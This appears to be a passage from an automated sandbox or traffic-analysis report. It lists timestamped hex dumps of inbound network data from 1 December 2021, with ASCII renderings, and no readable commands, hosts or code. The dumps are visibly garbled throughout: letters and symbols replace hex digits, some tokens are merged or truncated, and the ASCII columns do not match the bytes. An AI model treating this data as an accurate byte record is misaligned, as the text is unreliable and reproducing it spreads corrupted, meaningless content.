be Ob 71 17 58 1e Oe 7d 5¢ bl d1 fe ab 02 fe 19 3f 35 ed c7 27 f5 65 03 28 51 78 8d 0b 5d ff Of 26 97 66 ad 57 9c f1 ae 3a
b6 25 dd 3d 26 9a 61 16 c0 12 5f b4 8d 62 54 c5 87 52 57 49 be b0 e0 d7 62 3 db 2c 79 66 c5 ad 2d 4b 24 3e 97 c1 07 f4
93 f4 01 0 af 24 ba 77 2c cc 82 ef cb 39 8d 99 44 64 98 4e dd 10 f6 2d 1e Oc Oa 50 62 39 2d f4 fe 41 e5 41 8b cf 56 el 22
a4 b7 e3 df 3f 60 f5 ed db 31 ae cd a0 ed 2e el 9e 53 fa c6 1b 51 89 9a 8d 55 c5 9e ae 09 fb 68 dd 5e 88 f8 62 24 97 {7 2e
b5 22 f1 0a c0 1a 28 e4 Oe c9 da 2d 50 4c fd 2b ae 28 34 de d2 27 b3 a3 35 23 27 ca fb da d1 a5 6f Ob fO c9 fa 65 64 a6 64
48 53 ac 98 9f f4 b0 01 53 d6 27 c3 ae 19 98
Data Ascii: IN;>Rx*(11gX}\?5'e(Qx]&fW:%=&a_bTRWIb,yf-K$>$w,9DdN-Ph9-AAV"?"1.SQUN" bS."(-PL+(4'5#'0eddHSS'

2021-12-01 12:26:35 UTC 183 IN Data Raw: 06 9b b5 13 dd eb ad da ae 76 98 b1 13 ce 20 57 7c 9d c1 75 18 20 82 83 c1 64 b1 2e 2d 45 6b 4d 42 a8 48 75
1c db 2b 7 3b ef 11 a6 f6 98 f9 28 45 bl 74 35 ee 3c 1b 1e 37 68 8¢ 25 30 7a 79 ee Oc 44 b8 5a 82 e0 4e 41 12 1d ba 19
9f 96 63 16 79 56 2f 40 1e 48 6e 12 57 8a Oe €8 95 41 4b 12 cb 30 15 4 97 93 d3 a8 d6 52 63 82 da e2 69 6b 9f 25 16 5b
bd 2 56 7b d1 7 c3 85 3d 5a 01 86 2b 05 f2 4f 7f 07 11 1c 1f ae 0d db 42 6b 16 c7 ee d7 ae f4 d4 a4 3b b9 78 44 ae €5
196 2c fc 6e ac ad fb bd 65 b2 2d b4 2f ef 2 ¢5 11 73 da 65 a6 3f fe 82 e8 86 58 11 25 a7 c8 f9 10 93 54 a3 33 d0 a0 52
f0 3a ce 94 3c 68 b4 2b 13 b6 79 a6 8b fc 57 f2 2b 62 4a 30 1c 28 bd a9 dd bb 91 8b €5 7e ab 1b 06 d2 e4 ab a3 97 b3 cc
69 58 49 48 d5 c2 65 9d 9b ec fc 83 ef 9a de 97 fd d9
Data Ascii: v W|u d.-EKMBHu+;(Et5<7h%0zyDZNAcyV/@HnWAKORCiko6[V{=Z+OBk;:xD,ne-/,se?X%T3R:<h+yW+bJO(~iX
IHe

2021-12-01 12:26:35 UTC 184 IN Data Raw: 78 1f e2 9f 50 05 4f 51 45 3e 72 ad 50 4b cc 91 95 b0 01 12 07 89 7e a5 18 24 c7 77 26 60 80 Ob ff df 19 e4 34
0 2f 4e a0 10 dd 81 1c 71 Ob b6 f6 44 22 16 49 41 98 41 c7 63 54 2a 24 42 23 9e 45 d8 d7 5 90 db 5¢ 02 cf 60 ec c8 75
3 7c de 72 b 2c 89 14 21 57 fa 99 48 9d 86 ac fe ea 88 85 62 94 3b 5 dc b4 c4 65 77 9f 73 9c e4 73 ¢9 Ob 81 52 39 fa cd
3a 55 da b0 66 27 ce a3 c7 8f 25 ae f9 3¢ 45 d8 13 a4 44 c9 87 65 77 Ob 66 68 5a 4a Oc e2 eb 18 b5 53 ab 27 f7 03 1b 03
74 b9 c2 86 6b e7 cf e4 57 93 63 54 c0 a3 16 86 ec fc 80 49 5a da 20 af 33 90 ba 12 1a e3 a8 87 el 6a 22 bl b7 5¢ 36 65
1c 03 ¢6 da d8 fa 7f 7e 15 10 64 59 fd f1 4e 69 72 c5 ce f3 ef 33 9b af b0 69 4b 69 ed bd ff 45 Oc b3 da 1b 32 39 83 9b 34
aa 0a 7b 27 c3 Ob ee 42 58 66 bc 73 0d 36 b2 29
Data Ascii: XPOQE>rPK~$w& 4/NgD"IAACT*$B#E\ u|r,\WHb;ewssR9:Uf %<EDewfhZIS'tkWCTIZ 3j"\6e~dYNIr3iKiE
294{'BXfs6)

2021-12-01 12:26:35 UTC 186 IN Data Raw: 32 2f f1 71 07 ae a3 51 e9 63 ff da fb b9 69 4a Oe f0 cf cO bf €6 cO d1 9a c3 bf ed 58 65 83 cd 91 8f 44 bd bc 11
61 1f f5 dd d9 99 5b f0 53 93 a0 5a 4f d4 d9 3b c5 a8 46 20 e0 07 02 51 b4 61 14 ad 86 bd fb 62 2f b1 1e 09 b8 b8 b0 4a
62 65 db 3f 3e 52 ea 40 5d f7 b1 da 7e b2 a8 93 29 a3 d1 00 a2 7d c1 dc 5a €9 d7 15 Oc 2b 6e b6 7d 77 89 dc 51 14 bf 1f
66 89 a4 28 c0 a9 fb 6a 93 88 d7 98 3f 66 13 17 5¢c ab de 97 fb 1d 6b 12 4f ae 41 bf a5 65 23 ec 81 83 86 4b dc dc cf 3f Oe
c4 db 78 ea ac 65 43 3e 80 77 03 57 97 51 02 c4 a3 2a 89 f6 5b 76 58 22 6f bc 76 21 22 25 53 fd 33 d7 89 5a 2d c9 72 Oc
716 cc 00 dc bd a8 df Ob cc ce Of eb f7 39 cc df ae 8b d7 b6 fa 51 fa 5d d8 ba 2d 56 aa ba 8 5e 43 f0 4a 60 db 76 d5 c6
11 fb 2a 7e Oc 53 5¢ 64 60 be b6 d9 81 af fO
Data Ascii: 2/qQciJXeDa[SZO;F Qab/Jbe?>R@]~)}Z+n}wQf(j?AkOAe#K 2xe C>WWQ*[VX"ov!"%S3Z-r9Q]-VACJ v*~S\d"
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kBytes
Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 187 IN Data Raw: 69 4f af 5¢c 2e 6d 09 87 08 9e 3a 8d eb 95 cb 0a 16 0f 41 1b 29 91 28 02 f1 de 27 0f a3 9 3c 36 ca f2 db 69 80
e2 2d d7 cb 2e 6d 80 9f a7 48 23 a4 f0 9e 2a b5 47 49 55 25 36 95 35 b7 65 5f d1 fa 1c 3c 9e e5 4e 92 c0 e9 ca e9 04 61
0d b2 8f a5 21 d9 83 84 39 05 8b db 54 13 71 f8 28 7a 06 94 al 5f ff f3 65 72 ce 3f €3 86 cb 43 0f 13 ad 59 70 7e 5d 9b 31
22 74 aacd 63 89 ac 16 4d cd ff c4 11 23 b3 26 cd f3 6e f6 08 ae 98 1d 3d ae 40 10 26 58 92 df ee 09 bd aa 0d 9a 16 69 f6
bf 25 82 de e6 cb 28 c1 bl b0 a9 fc 2¢ 62 3f 4d 02 e4 53 1f 95 bc ae ¢9 2b 20 a7 05 b3 70 d2 20 f5 5b a9 el 65 Oa c3 40
ee 9a 19 28 89 d8 c0 09 94 79 ef d5 5d c4 a6 95 59 31 ea ef f6 67 a5 1d f7 2b 16 86 29 27 c1 65 12 00 af 14 7d 64 3b 18
30 9c 7e b9 fe 80 9e 8a ed 84 34 42 44 d4 fc fb
Data Ascii: iO\.m:A)('<6i-. mH#*GIU%65e_<Na!9Tq(z_er?CYp~]1"tcM#&n=@&Xi%(,b?MS+ p [e@(y]Y1g+)'e}d;0~4BD

2021-12-01 12:26:35 UTC 188 IN Data Raw: 93 8b 52 5e 33 9f 9c 06 68 db 19 27 b7 b4 el 8d f4 65 fb 6¢ 60 2b 3d c2 23 09 a9 43 f7 ad 82 dc 7d 13 3e 8b d5
e3 aa 13 ba b9 82 52 5b 49 7c 6d c3 4c 84 24 ce d1 8a 6f de a2 9a b4 d8 a5 b9 ac 58 fc af cc 43 a6 03 Oc 7e 78 71 ef 76
44 8c 84 88 49 44 53 ca d3 8b 16 8f 06 5b 24 1f 27 24 9e 88 ab b8 be e5 28 9d e5 b2 ae a9 c7 ae 76 Ob 4f 7b 46 24 10 dc
03 8f 33 0e 39 b4 7e 51 3e c2 69 79 bb b0 63 ce f1 f4 8b c1 98 69 6a e0 50 91 a0 19 c1 01 bd 96 ab 63 89 bc 38 5a 5e 53
a5 03 ab d3 61 f5 4a 03 ee ad b0 c5 8f b7 2d 94 c0 b6 ac 38 2b 6f f2 1d e9 b3 97 af cf 33 26 3e ac 17 69 72 19 1e 3e cb 09
21 de 3371 c8 ab 3e 3d d0 89 97 el 18 a6 ad 7a 40 21 52 38 33 51 79 0d d5 59 af c8 eb 63 37 69 €9 88 3b 4b 61 92 29
ec 6b 07 18 92 f9 5¢ 03 06 5f 96 53 b2 d4 2b 3a ed 25
Data Ascii: R*3h'el +=#C}>R[l|mL$0XC~xqvDIDS[$'$(VO{F$39~Q>iycijPc8Z"SaJ-8+03&>ir>13¢>=z@!R83QyYc7i;
Ka)k\_S+:%

2021-12-01 12:26:35 UTC 189 IN Data Raw: b1 28 13 1c 09 5f d4 12 ff 94 7f 6e 40 31 6¢ 99 fd 56 48 4c 56 65 da a7 €9 34 dc el a6 58 4d €9 c8 83 ec 92 08
4c c0 3c 77 02 85 €0 04 75 Ob 6e 20 14 1d 17 54 14 35 €9 60 fd 20 c5 2b c8 73 fe 0 64 al Oa d8 e3 cc 31 be 37 4a 44 37
ff 08 84 26 96 85 36 €3 a4 70 e2 2a 4b 34 27 b0 €9 cc 3f bc 69 0d ¢4 51 1c b1 10 bc de 94 59 9f 8f 00 a3 15 6f 38 50 2f d5
95 84 a7 13 62 83 1f bf 9d 4b bb 28 b8 9e 45 bf fe ee cc 2d f7 1a 8e dc 5e 25 ee 36 46 64 06 f8 15 ab 88 50 b7 1a 65 d6 2f
ea 57 fb 25 Oc fc 11 16 a9 24 be Oc c4 54 df cf 4c 22 a9 b1 8c d8 66 bb 2f ac 0a 9d 49 74 7d 3a 26 7a e2 ef b3 10 b7 86
32 e89c ee 85 2d 6b 4e 19 58 54 49 f2 17 aa 30 bf 7e cc 10 b8 ed f2 f9 7c 74 44 76 4c ef 80 7b 64 30 94 8¢ 9d 38 17 7c f4
Oe €8 96 c0 c6 b3 4f a4 1c b7 b9 4f 8b f2 7b
Data Ascii: (_n@1IVHLVe4XML<wun T5" +sd17JD7&6p*K4'?iQY08P/bK(E-"%6FdPe/W%S$TL"f/It}:&z2-kNXTI0~[tDvL
{d08|0O{

2021-12-01 12:26:35 UTC 191 IN Data Raw: 5a 7f ca 33 Oe 7f 38 4c 21 4fe2 7b d1 ed ce 91 08 Ob d4 cc ce 6b a9 36 84 92 fa 78 fb a5 €8 91 2f 79 af 97 ed
3e 18 8b 4f e2 c1 5b f2 95 17 bd 04 c6 09 4d 04 ef 70 60 91 fe 81 df e4 7 a2 02 e4 7b b3 ed 47 59 50 e2 03 77 81 5d 1e
79 db 34 01 63 4c e4 66 b6 bd 6a €3 bb b0 35 71 d4 57 4a 86 87 bb f8 34 a9 6d 13 fO cc e0 4f bc c2 le fe a4 84 83 29 el
2a 6b dd 34 f9 7b 18 b0 ff 4d b8 ea b1 fe 13 6d fe a6 37 f6 76 Ob 96 ef c1 a3 fd a2 5e 71 9f 12 7d bc 92 b4 b5 39 14 ac a3
3c 7b 5a fc 7 f5 ¢5 5e 5e 65 35 4c e8 d6 65 2¢ 05 80 50 dd e3 f9 47 23 46 60 44 4c 2b 2d 57 42 ¢8 86 85 1c 2f a8 04 25
50 f5 48 7a c6 f5 3c 80 86 b3 ca 17 13 1b 33 3c 7f 62 85 03 dd 2e 1f d3 21 cb dd 00 21 a8 Oe 6d 99 78 c4 41 47 42 Ob f8
20560 fc 81 93 91 73 72 04 cf c4 ec 11 47 bb 78
Data Ascii: Z38L!0{k6x/y>0[Mp *{GYPw]y4cLfj5qWJI4mO)*k4{Mm7v q}9<{Z "e5Le,PG#F DL+-WB/%PHz<3<b.!!ImxAGB
“srGx

2021-12-01 12:26:35 UTC 192 IN Data Raw: eb Oc Ob ce 50 f1 9b 90 29 0f cd a4 15 1d 78 87 fb 01 eb 27 94 19 10 9e c2 4e 66 79 16 58 28 81 87 3b 20 dc
4afd 01 77 2b 54 4b 8¢ 19 f0 a3 2e 96 27 81 38 99 56 85 ed 43 a4 fb 79 18 49 8 5e ea 39 6d a7 4e Ob b8 09 e3 6f 9b 21
9e 16 ¢1 65 9b ae 85 f1 73 cc 3c bf Ob 85 9f 3f cc 53 57 88 Ob 41 6b 38 c6 5 fe 42 2b ef 2 01 45 8 db 39 6d Of 93 9d a6
a8 Oe 3b ed 98 a6 85 Oe ff 53 f1 57 5d 48 ab ae ff 1c fc 68 c9 b3 91 95 a8 08 4b 39 1b ee d4 e2 53 41 b1 8b 79 b3 5 71 al
6b 52 80 2f 42 dd 48 8d 84 54 91 ce Oe 84 3c 56 ea 6e 32 3e f4 d2 05 30 a3 43 b4 24 ff da fa 04 69 da 25 16 cc ae bf 48
9d 3 9b dO bf 66 58 21 87 00 93 b7 44 28 0 38 61 5a 5 0b d8 51 6b Ob 51 8e al be 12 cb d9 5b c4 15 46 eb €5 61 01 07
b4 3c 4a Of 87 96 fb bl 2f 74 2e ¢4 ba 80 b0 b0 3d
Data Ascii: P)XNfyX(; Jw+TK.'8VCyl"9mNoles<?SWAKSB+,E9m;SW]HhKISAyqkR/BHT<VNn2>0C$i%HfX!ID(8aZQkQ[Fa<
Jit=

2021-12-01 12:26:35 UTC 193 IN Data Raw: 03 bc d1 e4 3e 7f 2d f4 dd db 21 a4 cf 1e 97 01 1d 63 b4 ed 73 d3 79 14 29 7f 5¢ 87 cd aa a5 ea fd 81 33 72 f3
a6 1e 04 69 c1 26 c7 78 f5 0d 79 f3 72 26 f2 6d 7f 4a 9c f1 ed 32 9e 3f 3b 3f 38 92 ff 31 c2 12 5b a0 2a 7d e9 df 4f 59 22 57
78 89 42 ff 75 c0 4d 2c 2c 4d ef b2 50 4b 94 23 88 €2 07 f4 16 e8 bc d5 49 26 79 5c ¢8 de 80 ef 04 36 af b0 34 60 b8 61 6¢
0d dd 17 e3 26 b0 79 f4 39 31 d3 2d 5d 98 41 93 f8 96 ef 22 a4 fb ea 87 35 86 7 58 d8 9e 9a cf a0 54 0d b5 90 7e db 24
19 2f 89 16 b7 52 c5 9b ae 9d fb aa d9 bf 8a 87 62 93 ad fc 2e b7 22 68 0a 94 3b cc e6 67 ¢9 06 17 53 4c e8 2b 35 28 d8
da 22 25 c1 a3 c6 19 32 ca f4 da 45 a5 6e 2f 07 cb 85 65 09 9d 75 48 52 ac 71 9f f8 b5 e5 51 b5 26 e2 95 1a 98 69 5e d5
fb 69 29 bd e7 40 93 62 c2 el eb 0a 60 ec 81
Data Ascii: >-!csy)\3ri&xyr&mJ2?;?81[*}0Y"WxBuM, MPK#I&y\64" al&y91-]A"5XT~$/Rb."h;gSL+5("%2En/euHRqQ&N) @b

2021-12-01 12:26:35 UTC 194 IN Data Raw: a3 58 d7 8b 5a 18 ¢8 99 0d 98 14 15 01 dd e2 a8 df ae cd 35 0f 24 f1 79 cf cf ae 05 88 5b fb 3e fa ca d8 89 2d
df a8 c5 f8 01 1d 83 4a 61 db 12 d4 f5 16 1f 28 fb Od ef 03 67 60 47 b7 3c 81 58 f1 f9 84 ae e3 f3 a3 fa 61 cd 57 ce 26 4b
80 cb 19 b2 fd c7 04 3d 4e 1b 40 4d 94 fa e4 38 aa c1 58 5¢ 50 7a 95 3d be aa 36 2a 77 17 f6 a6 e2 3d ac f4 1c ea a7 13
af 8f ef Oe 6a 5a 21 10 7d 23 b1 d0 68 83 e8 82 ff 3f 48 c4 a4 9f {7 64 03 02 c5 f9 a4 08 bb a5 70 6d 11 44 af d9 9e ba 3c
0Ob a4 1f 38 8a 5f ab ¢5 6f c1 a5 5b 85 1b 20 ea 66 65 61 2a 0d 7b 32 e6 €3 62 97 4e 10 46 5b 23 d7 53 e4 cc 4a 95 81 03
5b 05 ad 7e 8d 50 54 c7 5 3f 8e 99 8e d2 57 02 c9 34 2b 67 26 a0 61 dd 6f 1c 73 0a 03 5 d3 23 25 19 25 9e 2f c1 bf 53 bb
25 ¢5 26 8¢ 42 8b 81 26 97 f1 54 a5 c5 e5 e6
Data Ascii: XZ5$y[>-Ja(g' G<XaW&K=N@M8X\Pz=6*w=jZ!}#h?HdpmD<8_o[ fea*{2bNF[#SJ[~PT?W4+g&aos
#%%/S%&B&T

2021-12-01 12:26:35 UTC 195 IN Data Raw: 57 be 10 ce a9 65 65 22 39 d2 eb 8 18 83 81 d2 63 66 Oc 77 cf 39 8f 62 d5 ce 46 eb af 52 57 38 16 dc 4c d9 e6
d0 5e 76 54 d3 6a bl 4e 98 02 ce 2a 69 b4 a2 d3 04 f3 7c ea 7c €3 d9 6d e0 92 Oa cb 38 f8 38 99 41 1f d7 7c 10 ea 40 82
42 ce 1b fO b9 f2 34 9b el ea 88 3a c1 48 9f 39 98 cd 33 ad 44 1e 12 7ff2 59 13 92 ef b7 af 5f c7 1e 2d Oe Oe a2 14 Oc 26
€6 7b f6 4a 67 Oc 8d 23 a6 b2 67 9a 26 38 38 18 29 9c d7 3e 2e 37 31 ec 80 30 c1 14 5d 47 57 cc d8 f3 €2 1c 24 73 ef 3
dd ff 46 55 6b 2d ef 23 2c 6a 7e 5a 84 1a d7 38 Oe a0 05 7e da c8 07 2d c2 ba 46 90 93 f0 99 55 cd e8 c8 02 28 a8 17 22
€0 8af9 61 a4 e3 aa f4 88 4f 69 44 b3 2b c1 97 25 Oc b4 5a 0f 6b ¢4 7d d9 16 04 43 18 80 d4 9c 24 d6 8b 5e a4 5a Of cO
91 d0 36 2c e0 16 03 c1 2 8c cd f4 67 f9 6e ac e9
Data Ascii: Wee"9cfw9bFRWSLAVT]N*i||m88A|@B4:HI3DY _-&{Jg#g&88)>.710]GWSsFUk-#,j~Z8~-FU("aOiD+%Zk}C$"
Z6,gn

2021-12-01 12:26:35 UTC 196 IN Data Raw: 71 50 1d c1 le da 85 36 4c 23 33 b6 88 e2 7c f9 d1 5a c2 a7 57 fa a9 ab 26 6a 1f 74 37 37 09 b1 b0 3d ab 88
a8 ff 5e 1d ed c2 4b f7 00 56 28 al 2d a4 75 ee fd 30 70 15 1c f9 57 d8 a7 38 7f f2 21 7d 69 5b dd 93 2f 8a 44 5f d3 7e 16
b6 96 37 50 59 2c Oc d6 ab 81 62 82 1b 2c 27 34 23 cc 06 4b a8 51 95 a4 51 f4 63 a2 7e bc 1f 26 85 20 26 b5 d7 ef 8f 6e
1b dc 63 60 38 1b a0 57 8a 17 54 5b 0a 31 a3 39 40 83 18 20 cf 41 a3 a2 54 84 75 a4 47 b4 45 5c¢ d1 {7 f5 99 Oe dc 89 d7
8941 33 e6 12 9c 59 5e 76 c3 43 fe 1e bf cb ed 9 bd ea 81 cb d2 ed 35 94 ee 9d 5¢ e2 22 2a 65 e9 5e 88 8f 1f ac 4e 6f
05 4c bf 73 38 6b 82 da 70 7d ce e6 9f 19 63 92 fb 9d 1f a5 5b 77 16 aa df 65 15 c5 66 2b Ob ac 6a c7 eb dO bf 51 cd 7f {7
f2 43 98 34 06 cO b8 32 29 d9 bf 57 d6 3a c2 86 b3
Data Ascii: qP6L#3|ZW&jt77="KV(-uOpW8!}i[/D_~7PY,b,'4#KQQc~& &nc'8WT[19@ ATUuGE\A3Y"vC5\"*e”NoLs8kp}c
[wef+jQC42)W:
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kBytes
Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 198 IN Data Raw: 53 32 08 54 8¢ 04 77 a3 80 b8 a8 47 91 61 42 21 Oe db 12 Oc 2e f7 77 c¢8 4c 43 11 89 74 a6 b5 7c 80 22 25 38
253c 9c cb 3f 71 7a 07 €8 d6 30 d6 14 65 7e 4b dd 9d b4 8b 21 2f 5f e4 de d6 8b 33 08 1b 11 e5 18 0f 71 2¢c Ob 84 0f fe 61
40 f8 58 2e ea €9 57 61 ab c2 6b ba c0 af d0 04 ff bd 9e 5b 36 dd 4c 71 88 d3 db 3c fc bd cf ad d6 18 37 65 e3 2b da 81
10 0d 99 67 34 71 9c 28 b6 26 Oe 16 07 8f d5 c1 66 90 ab 5e a0 3e 21 cb 91 be 75 5f d1 2a 2f df e7 cf 9a 80 4a f2 40 83
de a0 c2 24 4e 02 be 3f 4d al 9e d9 2d 62 d6 f4 1b 9e 97 e3 48 d7 b4 dO cd 3e 94 5f 2a c0 a5 Oe 37 29 08 d3 7d a7 fb 93
3a bb d0 03 01 4c fa 79 a5 c7 9f b1 f6 f8 96 1f 5a 7e 13 9b 63 c0 b2 da 9e 8 18 39 2e 2d 43 83 c1 e3 2f 8f ef e4 €3 dd 9f
e5 98 bd 69 d7 af 15 d4 c2 26 22 5d 7e 12 77 14 1f
Data Ascii: S2TwGaB!.wLCt|"%8%<?qz0e~K!/_3q,a@X.Wak[6Lg<7e+g4q(&">lu_*/J@$N?M-bH>_*7)}:LyZ~c9.-C/i&"]~w

2021-12-01 12:26:35 UTC 199 IN Data Raw: be 6e el b8 57 86 6a 80 11 b8 26 4a 93 Oe 56 93 80 ad a2 57 7f cd 5b 34 07 3c c5 10 ba 72 68 53 6b 26 95 4d
43 a6 4c 3aeB824 c7 863195 7dc557 8231 5af4al3e9ab39 94 88c599 7a0e ee 19 db 73 76 4f e2 71 ¢3 03 bc ee cb
9f 88 c9 ad e7 c9 ea Oc e0 c8 9b 5a el 5b 17 6f 9f 7d a7 8a 16 9a 63 76 20 29 fd 68 57 45 aa bb 46 40 ce f3 b3 6b 71 a5
a8 ae 35d0 70 5b 63 b9 e2 65 10 f8 12 17 1a c2 78 fe 99 dc 86 3f df 64 82 9 6f ed 04 3a c0O 9c Oe 5d c2 a5 22 el 11 a7 ae
9e 5e 15 82 f5 5 d4 6d d8 63 ce 43 72 cf a8 7d 05 eb 8a 91 16 18 dO d6 28 5f 9c 72 3c b3 4f bf 87 31 2e 2b 77 2b 3b 97
02 2d ef 33 4c a0 2 8a 03 bc ¢4 df 07 09 9e 9e 75 eb eb 7a ba aa 38 04 59 d1 fe 47 4c 65 09 57 40 09 d4 27 b9 67 db 00
7d 59 4a 5a 90 66 66 8e a2 d2 ad f1 85 b2 d3 ca 93 3e
Data Ascii: nWj&IVW[4<rhSk&MCL:$1}W1Z9zsvOqZ[o}cv )hWEF@kg5p[cex?do:]"*mcCr}(_r<O1.+w+;-3Luz8YGLeW@"
grYJzff>

2021-12-01 12:26:35 UTC 200 IN Data Raw: 2e f8 25 5e aa bd de 32 9d b1 fd c¢3 dc 1c 58 65 el 2b f4 97 30 37 ab 63 04 78 f5 2d be 42 Oc 71 51 bd d9 de
66 b3 b4 15 91 56 34 cb 84 85 69 42 d3 79 39 ca f2 e2 ab 95 4b d0 46 81 dd c5 fe 15 4b 2b ba 4b 5b 86 83 €8 3c 78 dd cO
7e bb a2 d7 11 e6 bf f5 cd 36 99 54 3f 94 90 Oe 26 6¢ 00 d5 12 85 €0 92 30 f2 ee 1b 15 5d 9f 47 ee ed 89 9d e4 e2 8b 19
1352 7e b7 65 c0 b0 fO fb cd 19 37 24 0a 22 b1 cO b1 49 bd f5 f1 ef b3 bb 97 a9 b6 4e d8 a8 19 83 9a 36 37 4c 7f 19 10 51
34 20 1c a5 f5 10 cf 97 2f 17 9d 56 fa el fe 44 5f 70 75 c7 42 b4 e8 2a de 8d 93 79 f8 47 c5 72 df 8¢ cd df 4f a3 2f 61 49 9e
be aa fl da 75 el da 9d 51 bd ae ac 29 5e d9 de a6 8c 95 4c 80 25 06 b2 8c b0 d7 62 6f 41 6d 6b 9c 40 09 0d ce d7 3d e4
09 85 71 ec b5 84 f2 f7 6e 33 cc 25 a5 48 d0 81
Data Ascii: .%"2Xe+07cx-BqQfV4iBy9KFK+K[<x~6T?&I0]GR~e7$"IN67LQ4 /VD_puB*yGrO/aluQ)*L%boAmk@=qn3%H

2021-12-01 12:26:35 UTC 202 IN Data Raw: 81 7f 7a 3e 4c 8e 4e 4c 77 89 bf 57 50 bc ca b3 60 75 b8 94 ae 28 ¢6 7¢ 43 16 b8 e2 11 28 d8 08 29 31 c0 6b
cc 98 d9 e7 13 c6 27 b4 f8 1b dc 1b 5f 85 96 6b 6f f0 e6 10 fe 63 8a ad ea 5b 09 82 e4 d3 d2 7a bd 41 c2 33 61 df ae 47
47 cb 89 84 29 05 c1 d2 3d 5b f3 5b 1b a6 6e bf f4 0f 20 28 61 01 0Oa 89 15 2b fa 1d 23 88 eb 89 Oc a9 d9 d5 3a 3f 8d 88
7186 a3 69 ab ae 30 24 55 e7 d4 52 6f 7e 15 41 44 64 93 01 bf 4c ce 07 62 65 50 5b 90 07 48 e2 8a c4 bc a3 a4 aa d5 df
8f 39 30 54 24 6d 86 5f 1e df fa 8e a5 30 58 6e 6e 47 15 c2 4c db 19 df 95 5b 47 16 34 c5 8 f5 29 e4 ad ea 55 42 28 76 8¢
58 aa 2f f3 €8 61 fc be 06 14 6b 7b 9d 4a c2 87 c3 5a 45 02 be 01 b3 59 82 38 eb 6d 3e d9 ef c9 02 f5 4c dO 67 e0 c0 43
el 9a 11 94 7e bf 28 9e 6d 19 81 23 10 df 40 97 79 dd
Data Ascii: zZ>LNLWWP u(|C()1k'_koc[zA3aGG)=[[n (a+#:?qi0$UR0~ADdLbeP[HI0T$m_0XnnGL[G4)UB(vX/ak{JZEY8
m>LgC~(m#@y

2021-12-01 12:26:35 UTC 203 IN Data Raw: 8f fd b3 22 86 f2 04 34 48 94 4d a5 ec 83 9f f6 fb 91 17 52 75 13 97 70 ce ab fa 9e e5 1f 16 3c 24 2f 87 dd e4 1¢
9e f5 ea 9 b3 dc de 93 af 6d d5 b2 18 fa de 00 31 5f 62 1le 18 3f 34 2b 1c al f5 01 e2 99 35 76 9d 4d eb e3 5 57 1a 5d 78
c7 41 a3 e0 35 d5 c9 b3 7f fe 61 dc 65 d8 96 ef a7 68 a9 28 7b 4c 9e bl ce c5 cb 73 d7 fO 9f 22 99 b9 b1 09 58 d9 c7 a9 f8
8379 86 15 24 be 93 b6 f6 7f 6d 5¢c 6a 63 f2 03 01 05 ca €9 1c f5 3b 85 76 f6 9f 86 81 c0 73 09 c8 23 a5 49 d9 81 ef 60 cO
89 5f 68 64 1c 6¢ 2e c7 fc ee 81 17 €9 51 37 56 24 0a f4 77 d2 b4 52 6e 0f 56 97 a8 96 56 c3 bf 1e d2 c9 64 c6 db 82 1d
6a 0b 55 45 16 32 d6 92 07 c6 9a 9c 8d 54 3b 82 c8 1e a5 10 6d 28 a0 1d dO 4d f8 89 00 4a 5e 3a d6 13 f3 86 56 3a c3 44
4f 60 08 f2 ac 49 b6 59 3a cd 5f 0d 9e bl
Data Ascii: "4AHMRup<$/m1_b?4+5vMW]xA5aeh({Ls"Xy$m\jc;vs#I"_hdl.Q7V$wWRnVVdjUE2T;m(MJI*:V:DO'IY:_

2021-12-01 12:26:35 UTC 204 IN Data Raw: 07 2d ba 15 2b fa 04 46 be 8e bb Of 8f c8 de Oc 39 96 8e 40 8a d1 6f a3 bf 1b 04 49 83 de 5a 5f 65 03 41 57 59
f2 30 ac 58 db 07 68 44 24 6¢ 9b 12 40 90 cd e3 al 85 82 b4 ce cc 99 3f 17 45 24 08 a5 5b 70 f3 ed 9a 8¢ 2d 53 50 7b 41
04 c6 53 db 19 df 95 5b 48 29 38 ¢7 ec ec 4c f1 c8 cd 6f 67 Oe 72 8c 7a a8 42 e4 8 61 c6 9c 67 01 6f 62 c2 6¢ cl f4 f2 52
36 09 bf 77 bl 4e f6 14 c7 6d 04 f0 81 c9 35 e4 60 6 7f f3 ¢8 31 b7 a8 01 8¢ 49 94 24 9a 46 02 85 3c 74 ee 4c 86 51 fe 20
9e 99 ae 4a f4 c2 e0 af 73 ¢9 4e ac 6¢ ea 9f 15 a4 52 57 38 62 b3 6b 55 aa ef 91 b3 2b b7 5e 48 24 1f be 12 1f 25 f9 7b c5
5f 4b Oc 9f 7e d4 f6 4d 95 37 30 25 26 3a 81 c4 3b 7f 43 2d fe c1 5f 7 7b 5b 6b 4d €8 9c a8 88 2b 22 66 ce c8 c1 e4 02 61
38 16 €3 01 27 6a 0d 1c f6 38 el 0d 69 f2
Data Ascii: -+F9@olZ_eAWYO0XhD$|@?E$[p-SP{AS[H)8LogrzBagoblR6WNm5 1I$F<tLQ JSNIRW8bKU+"H$%{
_K~M70%8&:;C-_{[kM+"fa8'j8i

2021-12-01 12:26:35 UTC 205 IN Data Raw: 88 36 7c 25 b2 b0 a0 d6 cf 6e e6 c7 fa 12 95 a5 ae 1c 5e c3 c1 a8 96 83 1c al 33 13 af 85 b8 aa 42 78 50 77
22 ce 66 01 15 d2 d7 3d c4 22 81 71 e0 a8 90 9b cc 6f 13 b8 30 a9 52 e8 c8 d2 7a df 88 5e 60 03 20 5e 2c dc {7 e2 88 76
da 5b 2b 44 24 11 fa 70 cf d1 45 4e 03 6¢ bd b3 81 53 d9 b5 7b de c9 55 ¢3 ¢6 8f 12 06 17 51 52 0d 3d c5 b8 07 ¢5 99 fd
ac 44 3b 99 ¢3 73 d9 26 6¢ 44 ab 1d c7 66 d2 92 1c 55 15 2c ca 23 ¢3 bc 59 42 cd 4c 4e 52 1a ef bl 40 af 73 2b dd 78 30
8c bb 08 22 4f 2a Oc e0 8d b9 11 e3 1e 58 37 Ob 4d c8 03 3b a0 6e el 8e 77 80 6¢ 9b 10 a8 49 74 a2 10 43 8e cf 9f bf 50
7417 47 60 19 29 d4 4f 9a 65 73 79 7a 23 f4 5e 47 a0 47 00 fO 20 b5 86 54 a6 47 d0 62 8b 24 49 f5 {7 d7 be 28 dd a2 c1
8a 4b 32 fO 1f b4 44 7c 5e fa 14 e4 2e b6 ea cb f2 d5 f8
Data Ascii: 6|%n"3BxPw"f="qo0Rz"" ", v[+D$pENIS{UQR=D;s&IDfU,#YBLNR@s+x0"O*X7M;nwIItCPtG")Oesyz# GG T
Gb$I(K2D|".

